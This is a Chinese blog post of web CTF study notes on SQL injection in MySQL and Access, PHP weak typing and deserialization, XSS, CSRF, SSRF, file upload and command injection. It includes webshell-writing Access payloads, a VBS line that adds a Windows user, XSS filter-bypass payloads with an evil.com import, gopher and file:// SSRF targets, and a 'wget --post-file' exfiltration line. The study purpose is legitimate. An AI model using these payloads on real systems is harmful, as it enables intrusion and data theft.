Web基础
蓝莲花的王师傅web大佬。
Web-CTF初体验
- php与sql非常流行
- php.net网站是梦幻语言参考,只要搜索好奇的功能。
- 学习完php之后,还需要学习Python或者Ruby编写exp
- 比较流行的免费软件
前置知识
- mysql\oracle\mssql\access等sql语法的细微区别
- php\java\javascript\ruby\python\lua等编程语言的特性
- tomcat\iis\apache\nainx\weblogic\jboss\jetty等web服务器的特性
- 脑洞大。。。
Mysql的例子
- 比较字符串时大小写不强匹配
-
SELECT ‘1ABC’ = ‘1abc’ ;
mysql> select '1ABC'='1abc'; +---------------+ | '1ABC'='1abc' | +---------------+ | 1 | +---------------+ 1 row in set (0.01 sec)
-
- 数字的字符串与数字本身相等
-
SELECT ‘123’ = 123 ;
mysql> select '123'=123; +-----------+ | '123'=123 | +-----------+ | 1 | +-----------+ 1 row in set (0.01 sec)
-
- hex()转换后的结果是字符串,所以hex(‘abc’)=616263。
-
SELECT hex(‘abc’) = 616263 ;
mysql> select hex('abc')=616263; +-------------------+ | hex('abc')=616263 | +-------------------+ | 1 | +-------------------+ 1 row in set (0.01 sec)
-
select hex(‘root’) = 0x726F6F74 ; 返回0 。因为root
十六进制等于726F6F74
这个字符串,而16进制0x726F6F74
等于root
。所以,需要将726F6F74
再转一次16进制。
mysql> select hex('root')=726F6F74;
ERROR 1054 (42S22): Unknown column '726F6F74' in 'field list'
mysql> select hex('root')=0x726F6F74;
+------------------------+
| hex('root')=0x726F6F74 |
+------------------------+
| 0 |
+------------------------+
1 row in set (0.00 sec)
mysql> select hex('726F6F74');
+------------------+
| hex('726F6F74') |
+------------------+
| 3732364636463734 |
+------------------+
1 row in set (0.00 sec)
mysql> select hex('root')=0x3732364636463734;
+--------------------------------+
| hex('root')=0x3732364636463734 |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.01 sec)
字符串除了使用单双引号声明,也可以使用16进制编码,再有就是使用char()来声明。 mysql中,字符串大小写不是强匹配,但是在通过char()匹配时却是强匹配。
mysql> select char(84);
+----------+
| char(84) |
+----------+
| T |
+----------+
1 row in set (0.00 sec)
mysql> select 't'='T';
+---------+
| 't'='T' |
+---------+
| 1 |
+---------+
1 row in set (0.00 sec)
mysql> select 't'=char(84);
+--------------+
| 't'=char(84) |
+--------------+
| 0 |
+--------------+
1 row in set (0.01 sec) hex()中大小写的字符串和它们的16进制不一样的。
Access偏移注入
假设查询的表的长度有28字段,注入要查询的admin表有5个字段。
union select 1,2,3,4,5,6,7,8,9,….27,28 from admin
union select 1,2,3,4,5,6,…22,23,* from admin
以上是相同的,*可以替代掉。
此方法需要知道表名和一个字段名id,不需要其他字段。
union select 1,2,3,4,5…17,18,* from (admin as a inner join admin as b on a.id=b.id)
这是admin表自连接,from后面的表会成为字段数加倍的表,前面18+2*5=28个字段。*代表的
union select 1,2,3,4,5…13,a.id,b.id,c.id,* from (admin as a inner join admin as b on a.id=b.id) union select 1,2,3,4,5…17,18,* from (admin as a inner join admin as b on a.id=b.id)
对数据不断偏移,尝试读取,如果数据偏移却不出现在可显示的位置,那么此方法就无法达到目的。
思路
- 判断注入点
- 使用order by 判断字段长度
- 获取表名(必备)and exists(select * from[TABLES])
- 使用联合查询
Access读写数据
GetShell 1
create table cmd(a varchar(50)) insert into cmd (a) values (‘<%execute request(“admin”)%>’) select * into [a] in ‘C:\admin.asa;.xls’ ‘excel 4.0;’ from cmd drop table cmd
GetShell 2
select ‘<%execute request(“a”)%>’ into [vote] in ‘d:\x.asp;xls’ ‘excel8.0;’ from vote
命令执行
前提条件:HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engines里面的SandBoxMode
值的意义:
- 在任何所有者中都禁止启用安全设置
- 仅在允许的范围之内
- 必须是Access的模式下(若存在,默认此条件)
- 完全开启,连Access中也不支持
- 若存在,查看数据类型是否是0,若不存在新建DWORD类型,名称SandBoxMode,数值为0
新建脚本1.vbs:
Set Conn=Createobject("Adidb.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data source=info.mdb"
Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user 1 123456 /ad"")")
Msgbox Rs(0)
会新建一个用户密码为123456的用户1。
跨库查询
旁站拿下后,无法提权,可遍历目录,无法下载。知道数据库绝对路径和数据。两种手法:
- union select 1,password,username,4,5,6 from [D:\info.mdb].admin
- union select 1,password,username,4,5,6 from admin in ‘[D:\info.mdb]
数据库有密码的话需要 select * from [;database=路径;pwd=密码].表名
ACCESS跨库查询时的组合查询
select * from qy1,qy2 in ‘d:\testb.mdb’ where qy1.qydm=qy2.qydm; select * from [;database=d:\testb.mdb].qy1, [;database=d:\testb.mdb].qy2 where qy1.qydm=qy2.qydm;
漏洞成因:access对表和列查询有问题,如果构造畸形表名,access会把找不到的表当做mdb文件查找,可以构造成类似于文件去硬盘上查找(默认在system32查找)。条件两条:asp+access,asp存在注入,且注入会有错误详细回显。
Access其他
- Access不存在注释,但是可以通过IIS的截断形成类似于注释的功能。
- 例如%00截断:http://127.0.0.1/1.asp?id=1%00hello
- Access不支持多行处理。
入门题目
- 备份文件泄露
- xff绕过,robots.txt泄露
- 图片信息泄露
- cookie信息泄露
- 注释泄露
中级题目
- 编写脚本绕过极短时间限制自动化提交
- XSS盲打,构造payload数据包。超大脑洞。。。
- SQL注入,XFF
高级题目
- web混合逆向加pwn
- 审计源代码,变量覆盖等各种知识点混合。
常见套路
- 爆破,包括md5、爆破随机数、验证码识别。
- 绕waf,花式绕mysql、绕文件读取关键词检测。
- php特性,包括弱类型、strpos和===,反序列化+destruct、\0截断、iconv截断。
- 密码题,包括hash长度扩展、异或、移位加密各种变形、32位随机数过小。
-
源码题,找源码技巧,包括git、svn、xxx.php.swp、”www.”(zip tar rar 7z)、xxx.php.bak。 - 文件上传,花式文件后缀 .php345 .inc .phtml .phpt .phps 各种文件内容检测
<?php<?<%<script language=php>
花式解析漏洞、(php345意思是php3,php4,php5)。 - mysql类型差异,包括类似php弱类型的特性,0x\0b\1e之类,varchar和integer相互转换。
- open_basedir、disable_functions花式绕过,包括dl、mail、imagick、bash漏洞、Directorylterator及各种二进制选手插足方法。
- 条件竞争,竞争删除前生成shell、竞争数据库无锁多扣钱。
- 社工,花式插社工库,微博、qq签名、whois等。
- windows特性,短文件名、iis解析漏洞、ntfs文件系统通配符、::%DATA,冒号截断。
- ssrf,花式探测端口,302跳转、花式协议利用、gophar直接取shell。
- xss,浏览器auditor绕过,富文本过滤黑白名单绕过,flash xss\csp绕过。
- xxe,各种xml存在地方(rss、word、流媒体)、各种xxe利用(ssrf、文件读取)。
- 协议,花式IP伪造(X-Forwarded-For\X-Client-IP\X-Real-IP\CDN-Src-IP),花式改UA,花式藏FLAG,花式分析数据包。
常见SQL Trick
[\bselect\b]
[\bunion\b]
- mysql条件注释的利用
/*!50000select*/
(版本不等于5.0) - 浮点数利用
Where id=0.1UniOn SeLeCt...
- mysql注释符
/**/
/*!条件注释*/
--
;
`
- 盲注
mid(user() from 1 for 1)==mid(user(),1,1)
- union注入
union select * from (select 1)a join (select 2)b == union select 1,2
-
[and]或[or] 查缺补漏 xor、 、&&、!、not -
[> = <]逻辑操作符 - 关键字替代符号 between、like、rlike、regex、is
- 与0比较法 -1 or 1=1 and ord(substr(user(),1,1))-114
- 空白符
- 控制字符替代法 20 09 0A 0B 0C 0D A0
- 符号替代法 /**/、select.``.password、select+user()
- 括号组合法 union(select(1),2)、select{x(password)}from{x(user)}
Web CTF 脑洞汇总
为啥会有找源代码题目:
- 题目漏洞利用点太难找
- 题目本身就要代码审计
- 题目槽点太多,脑洞无限大
- 获取本身也是考点
藏源码==信息泄漏
robots.txt
comment
vim swap/backup file(.bak/.php./.php~/.php.swp)
.pyc
.DS_Store
.git
.svn
bak file(.tar/.rar/.zip/.7z)
cat robots.txt
cat comment
cat vim_swap_file(.[FILENAME].[EXT].swp)
POC:cat .index.php.swp
.vim backup file
vim secret.php(secret.php~)
vim -r .index.php.swp
vim -r 复原文件
.pyc
cat compile.py
cat flag.pyc
使用
uncompyle2
逆向.pycuncompyle2 flag.pyc
.DS_Store
Python中有ds_store包获取内容。
import ds_store from ds_store import DSStore with DSStore.open(‘.DS_Store’, ‘r+’) as d: … for i in d: print i.git
ls -lah Python中有GitHack.py复原.git信息。
python GitHack.py http://x.x.x.x/.git/
POC: perl rip-git.pl -v -u 'xxx.git'
.svn
- .svn<1.6:
.svn存在.entries
POC:www.xxx.com/.svn/.entries
/.svn/text-base
POC:example.com/phpinfo.php-->example.com/.svn/text-base/phpinfo.php-text-base
MSF利用模块
auxiliary/scanner/http/svn_scanner
- .svn>=1.6:
/.svn/wc.db
somedomain/.svn/pristine/"XX"/"CHECKSUM"
POC:perl rip-svn.pl -v -u 'domain/.svn'
MSF利用模块
auxiliary/scanner/http/svn_wcdb_scanner
bak file
ls -lah
.bak
为啥会有waf
- 题目太简单,加了某厂waf
- 生产环境有众多waf
- 常规题sqli和upload的利用,“添砖加瓦”
- 替出题人测试waf的健壮性
字符替换空waf:
$str = str_replace("select", "", $str);
$str = str_replace("union", "", $str);
$str = str_replace("into", "", $str);
uniunionon即可
字符替换空waf加强版:
$tmp_str = ""; while($tmp_str != $str) {
$tmp_str = $str;
$str = str_replace("select", "", $str); } 循环查找替换。UniOn大小写试试
特殊字符(串)拦截waf:
if(preg_match('/(\bselect\b|\bunion\b|and|or|;|,|#|\(|\))/is', $_GET['id'])) {
exit('BAD ID');
} 存在复杂正则,过滤一些符号,保留一些符号,容易出现非预期解法,fuzzing突破
正则:https://regex101.com/ 仔细阅读mysql文档以及相关语言文档 多了解其他数据库(新语言、框架、数据库、服务)
sql trick: xxx
Web CTF Trick
考啥
- php弱类型
- 序列化/反序列化
- xss+csrf+ssrf+crlf
- sqli(sql or nosql)+rce+upload
- 源码审计
- 其他
php弱类型
变量类型:string
integer
array
double
boolean
object
resource
NULL
….遇到不匹配类型,自动转换。
类型比较:
- ’’==0==false
- ‘123’==123
- ‘abc’==0
- ‘0x01’==1
- ‘0exxx’==’0exxxx’
- [false]==[0]==[null]==[’’]
- NULL==false==0
- True==1
字符串比较:
- md5([1,2,3])==md5([4,5,6])==NULL
- 数组Trick
-
无需再利用弱类型比较特性
[1]!==[2]&&md5([1])===md5([2]) 1[]=233&2[]=666
strcmp: https://goo.gl/1I7YO8
md5相等,https://goo.gl/KV5ZQn sha1不安全。
弱类型、科学计数法、md5取值范围、【0e+数字】、php md5函数特性(无法对数组hash)
-
登陆逻辑:
$name = addslashes($_POST[‘name’]); $r = $db->get_row(“SELECT
pass
FROMuser
WHEREname
=’{$name}’”); if ($r[‘pass’] === md5($_POST[‘pass’])) { //…login success }
- 用户输入账号密码
- 传入到数据库端并执行SQL语句
- 获取用户密码的HASH值
- 和用户输入密码的HASH值进行比较
假设用户不存在NULL的巧妙构造:
用户不存在==>$r[‘pass’]==NULL
密码是数组==>md5($_POST[‘pass’])==NULL
$r[‘pass’]===md5($_POST)([‘pass’])
NULL===NULL
===
是强等、==
是弱等
弱类型导致的各种姿势:
<?php
var_dump("admin"==0);//true
var_dump("1admin"==1);//true
var_dump("admin1"==1);//false
var_dump("admin1"==0);//true
var_dump("0e123456"=="0e21323";//true
$test=1+"10.5";//$test=11.5(float)
$test=1+"-1.3e3";//$test=-1299(float)
$test=1+"bob-1.3e3";//$test=1(int)
$test=1+"2admin";//$test=3(int)
$test=1+"admin2";//$test=1(int)
?>
array_search
函数类似于==,是弱等于。
mixed array_search ( mixed $needle , array $haystack [,
bool $strict = false ] )
<?php
$a=array(0,1);
var_dump(array_search("admin",$a)); // int(0) => 0
var_dump(array_seach("1admin",$a)); // int(1) ==> 1 ?>
序列化
把复杂的数据类型压缩到一个字符串中,数据类型可以是数组、字符串、 对象等。
serialize()
序列化
unserialize()
反序列化
<?php
class test{
private $test1="hello";
public $test2="hello";
protected $test3="hello";
}
$test=new test();
echo serialize($test);// O:4:"test":3:{s:11:" test test1";s:5:"hello";s: 5:"test2";s:5:"hello";s:8:" * test3";s:5:"hello";
?>
private的参数被反序列化后变成test test1 ,public的参数变成test2 ,protected的参数变成* test3。
当成员属性数目大于实际数目时可以绕过wakeup方法(CVE-2016-7124)
XSS
利用脚本特性偷取cookies,完成身份伪造,登陆用户的账号,窃取数据、隐私。
反射性xss:
表现在url或者传递的数据中,不进入数据库。出现在搜索功能、小插件容易出现。
存储性xss:
输出进入了页面,且进入了数据库。url是正常的,所有能访问的用户受到影响,常见在留言板、微博、bbs等web应用,用户资料设置也有问题。
dom-xss
指输出点在html dom属性里的xss,用户输入输出在了dom中。
xss bypass filter
header添加:X-XSS-Protection:0关闭浏览器自己的xss防御。能简单考虑人为过滤。正则匹配可以用编码绕过(js里的8进制,html实体编码)
-
常规思路:
-
alert,confirm,prompt没了,还有location.hash
<svg onload=alert(location.hash.substr(2))>#11 location.hash被干掉可以用URL对象的substr <svg onload=alert(URL.substr(82))#11 String.FromCharcode 空格、小数点都没了。 <svg/onload=alert(location.hash.substr(2))#11 <svg onload=with(URL)alert(substr(87))#11 限制长度: var ="<svg/onload=alert(1)>" \$(var)比eavl(name)短4字节。
-
浏览器filter绕过:
chrome的filter绕过
"><svg/onload=alert(1)>
XSS filter打开后,js不能直接执行。但是基本基于正则匹配,把事件名称和等于号、事件代码联合匹配。 如果html没有通过meta标签设置charset的情况下。可以通过引入某种编码利用不可见字符绕过。如老版本chrome存在ISO-2022-KR编码,%0f可以绕过匹配。移除后ISO-2022-JP中又存在%1B%28B。
设置了charset没有禁止script标签的话。还可以svg继承。
"><script>alert(1);2%2502</script>
"><svg><script>/<1/>alert(1)</script></svg>
<link rel=import href=evil.com>
跨域问题
回旋镖 window.name
对于有长度限制的xss,通过回旋镖跨域传递
<iframe src="about:blank" name="a"></iframe>
<script>
var test=frames['a'];
test.window.name="alert(1)";
test.location="http://ip/xss.php?number=<svg/onload=eval(name)>"
</script>
穿甲伤害 UXSS
http://www.freebuf.com/articles/web/58435.html
- 同源策略
CSRF
由于目标站没有token或referer防御,导致用户的敏感操作的每个参数都可以被攻击者获知。即可伪造一个请求以用户的身份达到目的。
按照请求类型可分为:GET\POST 按照攻击方式可分为:
html元素实现csrf,css样式,表单psot请求伪造,flash也可以发起网络请求,包括post。Flash 中可以使用getURL、loadVars等发起请求。
SSRF
服务端请求伪造,构造形成由服务器端发起请求的漏洞。一般攻击从外网无法访问的内部系统。原因大多是服务器提供了从其他服务器应用获取数据的功能且没有对目标地址作过滤和限制。可实现的常见攻击有5种:
- 可以对外网、服务器所在内网、本地端口进行扫描,获取服务banner信息。
- 攻击运行在内网、本地的应用程序(溢出)
- 对内网web应用进行指纹识别,通过访问默认文件实现
- 攻击内外网WEB应用,使用GET参数可以实现攻击(Struts2\sqli等)
- 利用file协议读取本地文件等
利用场景:
- 能够对外发起网络请求的地方
- 从远程服务器请求资源(Upload from URL、Import&Export RSS Feed)
- 数据库内置功能(Oracle MongoDB MSSQL Postgres CouchDB)
- webmail收取邮件(POP3、IMAP、SMTP)
- 文件处理、编码处理、属性信息处理(ffmpeg ImageMagic DOCX PDF XML)
后端可能存在的点:
file_get_contents
fsockopen()
curl_exec()
阻碍ssrf的场景: 开启了openssl无法进行交互利用。服务端需要鉴权(cookies&user:pass)不能完美利用
.xpio ip地址编码(八进制)
可利用协议:
dict://
gopher://
file:///etc/passwd
SQLI
-
表名被过滤:
-
表单验证绕过:
- 字符编码利用 https://leavesongs.com
- 隐式类型转换
找到注入点,确定参数,尝试有无过滤或者过滤了哪些,waf本身是否可以大小写、双写、编码绕过。参数提交get\post都试试,还有一些$_REQUEST
除了get\post还有cookie。
漏洞
文件操作漏洞
- 文件包含
- 本地文件包含漏洞可以读取敏感文件,配合上传可以得到webshell,远程文件包含可以直接远程包含shell。
- php提供了四个文件包含函数,
include()
include_once()
require()
require_once
。前两者文件遇到错误也会执行,后者不会。主要住现在模块加载、模版加载以及Cache调用的地方 - 本地文件包含利用方式
<?php include($_GET[FILE]);?>
http://www.4o4notfound.org/index.php/category/CTF
- 文件读取
- 文件删除
- 文件修改
- 文件上传
- 客户端javascript检验(一般只校验后缀名)
- javascript代码,校验后缀名,白名单或者黑名单。抓包改包burp改后缀。
- 服务端校验
- 文件类型绕过:文件头content-type字段校验(image/gif)
- 文件头绕过:文件内容头校验(GIF89a)
- .JPEG;.JPE;.JPG,”JPGGraphic File”
- .gif
- 后缀名黑名单校验
- 黑名单检测:寻找黑名单漏网之鱼(.asa .cer之类)
- 可能大小写绕过
- 后缀名白名单校验
- 自定义正则校验
-
.htacess文件绕过:apache里此文件为配置文件,可以控制目录访问权限以及访问解析控制。
.htacess: <FilesMatch "shell.jpg"> SetHandler application/x-httpd-php </FilesMatch> shell.jpg: <?php echo base64_encode(file_get_contents('flag.php')); ?>
- 客户端javascript检验(一般只校验后缀名)
危险函数
- 文件包含->包含漏洞
- 代码执行->执行任意代码漏洞
- 命令执行->执行任意命令漏洞
- 文件系统操作->文件(目录)读写等漏洞
- 数据库操作->SQL注入漏洞
- 数据显示->XSS等客户端漏洞
- ……
基本知识
- register_globals(全局变量注册开关)
- Allow_url_include(是否允许包含远程文件)
- Magic_quotes_gpc(魔术引号自动过滤)
挖掘思路
- 根据敏感关键字回溯参数传递过程
- 查找可控变量、正向追踪变量传递过程
- 查找敏感功能点,通读功能点代码
- 直接通读全文代码
主要针对高位函数、关键字附件。发现可控变量后,追踪变量传递过程查询是否有可利用的地方。敏感功能点:文件上传位置、admin页面、数据库操作页面、关注common文件、共有库文件、配置文件、index文件、安全过滤文件。
文件上传漏洞
- 文件上传功能
- 文章编写、资料编辑、头像上传、附件上传
- 任意文件上传或者过滤不严谨。
- SQL注入漏洞,因为有时候文件名需要保存在数据库中,没有过滤的话可能导致。
- 文件管理功能
- 文件名或者路径直接在参数中传递,很可能有任意文件读取、包含。
- 还可能出现XSS漏洞。
- 登陆认证功能
- 登陆页面不免会和数据库交互,最常见就是SQL注入
- 其次是cookie注入,cookie存入数据库中
- 找回密码功能
- 容易出现重置管理员密码问题。
变量覆盖漏洞
替换程序原有的值,结合其他漏洞利用。
主要由以下几个函数导致:extrace()
Parse_str()
import_request_variables()
。还有部分是由$$方式进行变量注册,容易导致变量覆盖。
- extract()
- extract()函数从数组中将变量导入到当前符号表。
- Parse_str()
- 解析字符串并且注册成变量,注册之前不会检测是否已经存在。所以会直接覆盖掉。
- import_request_variables()
- 把GET\POST\COOKIE参数注册为变量。
- $$变量覆盖
- 变量覆盖漏洞在做变量注册时没有验证变量是否存在,以及在赋值时。所以,使用原始变量数组,如$_GET、$_POST或者在注册变量前一定认真确定变量是否存在。
- 原始变量数组的意思是尽量不进行变量注册,需要注册的话,直接在代码中定义变量,然后把请求中的值赋值给它。
- 还有就是在进行变量注册前,先查看变量是否依旧存在。
弱类型问题
弱类型语言对数据类型没有规定,存在类型自动转换。
- in_array()
- 用来判断一个值是否在某一个数组列表中。存在自动类型转换。
- Is_numeric()
- 用来判定一个变量是否为数字,如果检查通过则返回true。
- ==与===
- 弱等在判断之前会进行类型转换,强等则不会。所以弱等可能会有安全风险。
- Hash比较
- 0e科学计数法,只比较0e。
- Intval()
- 将从字符串的开始进行转换直到遇到一个非数字的字符。即使出现无法转换的,也不会报错而是返回0
- MD5函数
-
代码审计小技巧
-
钻GPC转义的空子
GPC会把单引号等敏感字符过滤。但php5之后,$_SERVER取到的header字段不受影响。可以采用编码转换绕过,比如宽字节。
php代码解析标签
PHP有几种解析标签的写法来标志PHP代码,往往有时候只过滤了
- 脚本标签
- 短标签
- ASP标签
过滤.ini
.htaccess
不允许文件覆盖 检测<?
<script>
echo base64_encode(file_get_contents('flag.php'));
</script>
Login实例
常用登陆名:admin
test
damn
常用密码:123456
admin
如果用户名已经存在,尝试用insert注册新的管理员账号。注册长度过长截断
注册的时候用户名可以用空格截断注册一个admin[很多空格]12345,密码随意,然后登陆admin,就能拿到admin权限。绕过varchar限制。
http://www.freebuf.com/articles/web/124537.html
必须sql_mode为宽松模式。
sql执行字符串处理时,字符串末尾空格符号会被删除(大部分情况适用)。异常情况,LIKE字句会在内部使用空格来填充字符串,以便在比较前使其长度保持一致。
宽字节注入
可以使用binary类型转换,进行攻击或者二重16进制或like绕过,用 | 替换or再利用right left定位。 |
注意:
- 单引号被转移,用16进制
- mysql不区分大小写,对于16进制,要么二重16进制,要么binary
Guess实例
php伪协议+随机数种子爆破
上传php压缩包,改名png,使用伪协议zip或者phar读取小马,得到 shell。
mt_srand()是伪随机发生器,如果知道随机数种子可以预测结果。随机数范围已知,第一个随机数结果可以从cookie验证。爆破种子。
推荐中国蚁剑。
命令执行漏洞
PHP中的system exec shell_exec passthru popen proc_popen等,用户能控制参数时,可以将恶意命令拼接。造成命令执行。
- 程序过滤不严谨
- 高危函数:eval() assert() preg_replace() call_user_func()……
- 文件包含注射
- 高危函数:include() include_once() require() require_once()
- 对于执行命令的函数,参数过滤不严谨 * 高危函数:
- 其他
- 高危函数:
命令执行集成Webserver的权限,一般可以读写文件,甚至反弹shell。
- eval() assert() 动态执行函数
- preg_replace() 用于对字符串进行正则处理
- who’‘ami
- who”“ami
- who${xx}ami
反引号命令执行
反引号执行的是shell_exec()
一些思路
- 变量覆盖(再次赋值,防止变量被污染可防御)
- 文件包含
-
伪协议利用
- 找危险函数
- 找sql语句
- 寻找触发点
- 回溯法
nmap -iL
wget –post-file=FILE
常用工具
burpsuite
commix
dirb
dirsearch
mitmproxy
sqlmap
subbrute
总结
今天学习收获很多,连这篇总结都来不及补全,有很多不详细以及缺失的部分。我也很绝望。之后再慢慢写了
转载请注明:碎雪的小屋 » 0x02-Web第一天